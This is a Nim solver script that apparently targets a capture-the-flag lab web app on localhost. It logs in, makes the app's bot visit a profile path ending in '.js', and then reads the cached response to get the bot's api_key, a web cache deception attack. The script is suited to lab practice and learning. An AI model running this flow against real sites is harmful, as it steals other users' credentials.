#!/usr/bin/env nim # nim c -r script.nim # # What this does (no spoilers): # - Login (POST /) # - If user missing, register (POST /register) then login again # - Use token to call bot visit (POST /visit) with a *leading-slash* URI # - Fetch the same URI you asked the bot to visit (GET ) import httpclient, json, strutils const BaseUrl = "http://localhost:1337" Username = "idapp" Password = "1234qwer" Email = "idapp@htb.local" # use a valid-ish email VisitUri = "/profile/pwnmehard.js" # IMPORTANT: leading slash + correct path proc mustParseJson(s: string): JsonNode = try: result = parseJson(s) except CatchableError: raise newException(ValueError, "Server did not return JSON. Body was:\n" & s) proc postJson(client: HttpClient; path: string; payload: JsonNode; authToken = ""): JsonNode = var headers = newHttpHeaders({ "Content-Type": "application/json" }) if authToken.len > 0: headers["Authorization"] = "Bearer " & authToken let url = BaseUrl & path let body = client.request(url, httpMethod = HttpPost, body = $payload, headers = headers).body result = mustParseJson(body) proc getJson(client: HttpClient; path: string): JsonNode = let url = BaseUrl & path let body = client.request(url, httpMethod = HttpGet).body result = mustParseJson(body) proc tryLogin(client: HttpClient): JsonNode = let loginPayload = %*{ "username": Username, "password": Password } result = postJson(client, "/", loginPayload) proc registerUser(client: HttpClient) = let registerPayload = %*{ "username": Username, "password": Password, "email": Email } discard postJson(client, "/register", registerPayload) when isMainModule: var client = newHttpClient() # Optional Burp proxy: # client.proxy = newProxy("http://127.0.0.1:8080") # 1) Login (or register then login) var loginResp = tryLogin(client) let msg = if loginResp.hasKey("message"): loginResp["message"].getStr() else: "" if msg.contains("Credentials not found") or (not loginResp.hasKey("token")): echo "[*] User not found (or no token). Registering then retrying login..." registerUser(client) loginResp = tryLogin(client) if not loginResp.hasKey("token"): quit "[!] Login failed: no token in response.\nBody:\n" & $loginResp let token = loginResp["token"].getStr() echo "[+] Got token (len=", token.len, ")" # 2) Ask bot to visit the correct URI (must include leading slash) if not VisitUri.startsWith("/"): quit "[!] VisitUri must start with '/'. Current: " & VisitUri let visitPayload = %*{ "uri": VisitUri } let visitResp = postJson(client, "/visit", visitPayload, authToken = token) echo "[+] /visit response: ", $visitResp # 3) Fetch the SAME URI you asked it to visit let cachedResp = getJson(client, VisitUri) echo "[+] GET ", VisitUri, " JSON keys: ", $cachedResp.getFields().keys.toSeq() # If the endpoint returns an api_key (like the Python example), don’t print it raw. if cachedResp.hasKey("api_key"): let apiKey = cachedResp["api_key"].getStr() let masked = if apiKey.len <= 6: "***" else: apiKey[0..2] & "..." & apiKey[^3..^1] echo "[+] api_key present: ", masked else: echo "[!] No api_key field found. Full response:\n", $cachedResp